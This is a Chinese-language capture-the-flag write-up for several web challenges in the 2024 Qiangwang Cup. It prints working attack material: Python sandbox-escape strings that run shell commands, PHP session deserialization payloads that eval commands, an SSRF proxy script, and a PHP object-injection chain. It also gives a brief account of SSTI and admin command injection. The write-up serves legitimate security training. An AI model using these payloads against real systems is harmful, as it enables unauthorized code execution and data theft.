2024 第八届强网杯线上赛Web Writeup
PyBlockly
python沙箱逃逸,关键是过滤了很多符号,但是使用了unicode.unicode,可以把unicode字符转换成最相似的ASCII字符,使用中文符号绕过即可
先来查看根目录
‘;__import__(”builtins”)。len=lambda p:0;’‘;__import__(”os”)。system(”ls -al /”);’
发现flag只有root用户可以读取,那我们可以使用dd if直接读取flag文件
‘;__import__(”builtins”)。len=lambda p:0;’‘;__import__(”os”)。system(”dd if=/flag”);’
platform
扫一下后台得到www.zip
看了一下class.php里面的内容,猜测是一个session反序列化逃逸。


在本地搭建一个环境看一下。
随便注册一个用户登陆进去之后,会生成一个sess_xxxxx的文件 并且这个key是随机的,我们并不能确定。


我们需要利用这个去执行命令,先生成一个phpinfo的内容。
<?php
class notouchitsclass {
public $data;
public function __construct($data) {
$this->data = $data;
}
public function __destruct() {
eval($this->data);
}
}
echo serialize(new notouchitsclass('phpinfo();'));
?>

然后将password那地方给替换掉。

刷新可以看到执行了phpinfo,那么思路猜测的是正确的,我们需要去进行逃逸,将session_key和password都吃掉,生成一个新的我们构造的password.

命令执行我们用echo ``
username我们传入 execexecexecexecexecexecexecexecexecexecexecexecexecexecexecexecexec
password我们传入
";password|O:15:"notouchitsclass":1:{s:4:"data";s:12:"echo `ls /`;";}因为这个key我们无法预测,可以bp一直跑。


";password|O:15:"notouchitsclass":1:{s:4:"data";s:23:"echo `ls /;./readflag`;";}
xiaohuanxiong
扫描admin的二级目录

访问/admin/authors

然后修改管理员密码

47bb1842b6
登录后支付设置直接写入命令

访问拿到flag

snake
进去之后输入username,然后是一个贪吃蛇的,速度挺快的,扫目录也没得到啥,应该是要到达一定的分数,把game.js给ai拷打一下。

import requests
import json
from heapq import heappop, heappush
current_direction = "RIGHT"
last_direction = "RIGHT"
direction_map = {
"UP": "DOWN",
"DOWN": "UP",
"LEFT": "RIGHT",
"RIGHT": "LEFT"
}
def heuristic(a, b):
return abs(a[0] - b[0]) + abs(a[1] - b[1])
def a_star_search(start, goal, grid_size, snake):
open_set = []
heappush(open_set, (0, start))
came_from = {}
g_score = {start: 0}
f_score = {start: heuristic(start, goal)}
while open_set:
_, current = heappop(open_set)
if current == goal:
path = []
while current in came_from:
path.append(current)
current = came_from[current]
path.reverse()
return path
for dx, dy in [(0, -1), (0, 1), (-1, 0), (1, 0)]:
neighbor = (current[0] + dx, current[1] + dy)
if 0 <= neighbor[0] < grid_size and 0 <= neighbor[1] < grid_size and neighbor not in snake:
tentative_g_score = g_score[current] + 1
if neighbor not in g_score or tentative_g_score < g_score[neighbor]:
came_from[neighbor] = current
g_score[neighbor] = tentative_g_score
f_score[neighbor] = tentative_g_score + heuristic(neighbor, goal)
heappush(open_set, (f_score[neighbor], neighbor))
return []
def get_next_direction(snake, food, grid_size):
global current_direction, last_direction
head_x, head_y = snake[0]['x'], snake[0]['y']
food_x, food_y = food[0], food[1]
path = a_star_search((head_x, head_y), (food_x, food_y), grid_size, [(seg['x'], seg['y']) for seg in snake])
if path:
next_x, next_y = path[0]
if next_x > head_x:
return "RIGHT"
elif next_x < head_x:
return "LEFT"
elif next_y > head_y:
return "DOWN"
elif next_y < head_y:
return "UP"
else:
possible_directions = ["UP", "DOWN", "LEFT", "RIGHT"]
possible_directions.remove(direction_map[current_direction])
return possible_directions[0]
url = "http://eci-2zeg9nmyrzhwzgcfhwik.cloudeci1.ichunqiu.com:5000/move"
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0",
"Accept": "*/*",
"Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
"Accept-Encoding": "gzip, deflate",
"Referer": "http://eci-2zeg9nmyrzhwzgcfhwik.cloudeci1.ichunqiu.com:5000/",
"Content-Type": "application/json",
"Origin": "http://eci-2zeg9nmyrzhwzgcfhwik.cloudeci1.ichunqiu.com:5000/",
"Connection": "close",
"Cookie": "session=eyJ1c2VybmFtZSI6IjEifQ.ZydYYQ.y4ThT_rofnb2wUqbhAdL-57DLLU",
"Priority": "u=4"
}
proxies = {
"http": "http://127.0.0.1:8080",
"https": "http://127.0.0.1:8080",
}
def main():
global current_direction, last_direction
while True:
try:
response = requests.post(url, headers=headers, data=json.dumps({"direction": current_direction}), proxies=proxies)
if response.status_code == 200:
game_data = json.loads(response.text)
if 'status' in game_data:
if game_data['status'] == 'game_over':
print("Game Over!")
print("Final Score:", game_data.get('score', 'Score not provided'))
break
elif game_data['status'] == 'win':
print("Congratulations! You win!")
print("Final Score:", game_data.get('score', 'Score not provided'))
score = game_data.get('score', 0)
if score >= 50:
burp_url = "http://127.0.0.1:8080/some_endpoint"
burp_response = requests.post(burp_url, json=game_data)
print("Data sent to Burp:", burp_response.status_code)
food = game_data.get('food', [])
snake = [{'x': segment[0], 'y': segment[1]} for segment in game_data.get('snake', [])]
grid_size = game_data.get('grid_size', 20)
print("Food:", food)
print("Snake:", snake)
print("Current Score:", score)
if food and snake:
next_direction = get_next_direction(snake, food, grid_size)
current_direction = next_direction
else:
print(f"Request failed with status code: {response.status_code}")
print("Response Body:", response.text)
break
except requests.exceptions.RequestException as e:
print(f"Request error: {e}")
print("Response Body:", response.text if 'response' in locals() else "No response")
break
except json.JSONDecodeError as e:
print(f"JSON decode error: {e}")
print("Response Body:", response.text if 'response' in locals() else "No response")
break
except KeyError as e:
print(f"Key error: {e}")
print("Response Body:", response.text if 'response' in locals() else "No response")
break
except Exception as e:
print(f"Unexpected error: {e}")
print("Response Body:", response.text if 'response' in locals() else "No response")
break
if __name__ == "__main__":
main()这里的话加一个代理,使得每次发包的流量都经过bp,方便后续查看状态。


这里跑的话要多跑几次。

可以看到赢得比赛之后出现一个路由 我们去访问。

经过测试发现这是一个sql注入。


这里字段很明显了,就是三,也就是time这个字段,但是数据库也没爆出来。
后面测试发现这就是一个ssti.

这里的话 记得用url编码一下


proxy
审计源码发现通过/v2/api/proxy访问/v1/api/flag就行,但是从proxy.conf中发现需要访问http://localhost:8769/v1/api/flag

import requests
import json
def get_flag_via_proxy():
# 定义代理请求的 URL
proxy_url = "http://47.94.226.70:36891/v2/api/proxy" # 替换为你的代理服务器地址
# 定义请求头
headers = {
"Content-Type": "application/json"
}
# 设置请求数据,通过 /v2/api/proxy 访问 /v1/api/flag
data = {
"url": "http://localhost:8769/v1/api/flag", # 代理到 localhost:8769
"method": "POST", # 确保使用正确的请求方法
"body": "", # 如果需要请求体,填入相应内容
"headers": {
"Content-Type": "application/json"
# 添加其他必要的请求头,例如身份验证头
},
"follow_redirects": False
}
try:
# 发送请求到代理端点
response = requests.post(proxy_url, headers=headers, data=json.dumps(data))
# 检查响应状态码
if response.status_code == 200:
# 提取并打印 flag
flag = response.json().get("flag")
print("Flag:", flag.decode('utf-8') if isinstance(flag, bytes) else flag)
else:
print(f"Error: Received status code {response.status_code}")
print("Response:", response.text)
except requests.RequestException as e:
print("Request failed:", e)
# 执行脚本
get_flag_via_proxy()
base64解码得到flag

Password Game
在game.php这个地方进行抓包,来满足3条规则。

这个满足三条规则即可。
满足条件之后就会输出一段反序列化的代码。

<?php
include ('flag.php');
highlight_file(__FILE__);
function filter($password){
$filter_arr = array("admin","2024qwb");
$filter = '/'.implode("|",$filter_arr).'/i';
return preg_replace($filter,"nonono",$password);
}
class guest{
public $username;
public $value;
public function __tostring(){
if($this->username=="guest"){
$value();
}
return $this->username;
}
public function __call($key,$value){
if($this->username==md5($GLOBALS["flag"])){
echo $GLOBALS["flag"];
}
}
}
class root{
public $username;
public $value;
public function __get($key){
if(strpos($this->username, "admin") == 0 && $this->value == "2024qwb"){
$this->value = $GLOBALS["flag"];
echo md5("hello:".$this->value);
}
}
}
class user{
public $username;
public $password;
public $value;
public function __invoke(){
$this->username=md5($GLOBALS["flag"]);
return $this->password->guess();
}
public function __destruct(){
if(strpos($this->username, "admin") == 0 ){
echo "hello".$this->username;
}
}
}
$user=unserialize(filter($_POST["password"]));
if(strpos($user->username, "admin") == 0 && $user->password == "2024qwb"){
echo "hello!";
}flag是全局变量,需要将其echo出来。
整体思路就是利用引用,在root类里面定义一个不存在的属性,然后将其和user里面的value进行引用 触发get魔术方法。

这个地方会echo出username,也就是$this->value = $GLOBALS[“flag”]; 这个地方。
先在本地测试一下:

<?php
class guest
{
public $username;
public $value;
}
class root{
public $username;
public $fs;
public $value;
}
class user{
public $username;
public $password;
public $value;
}
$a = new root();
$a->username = "qwb";
$a->value = 2024;
$b=new user();
$a->fs = $b;
$a->fs ->username = &$a->value;
$a->fs ->password = "Aa123";
echo serialize($a);
#O:4:"root":3:{s:8:"username";s:3:"qwb";s:2:"fs";O:4:"user":3:{s:8:"username";i:2024;s:8:"password";s:5:"Aa123";s:5:"value";N;}s:5:"value";R:4;}
发现是可以的。
后面反序列化的数字总和仍然需要满足那三个规则,这里改的话主要是改password,慢慢计算即可。


最后那个地方得满足前两个条件。
这里修改一下。

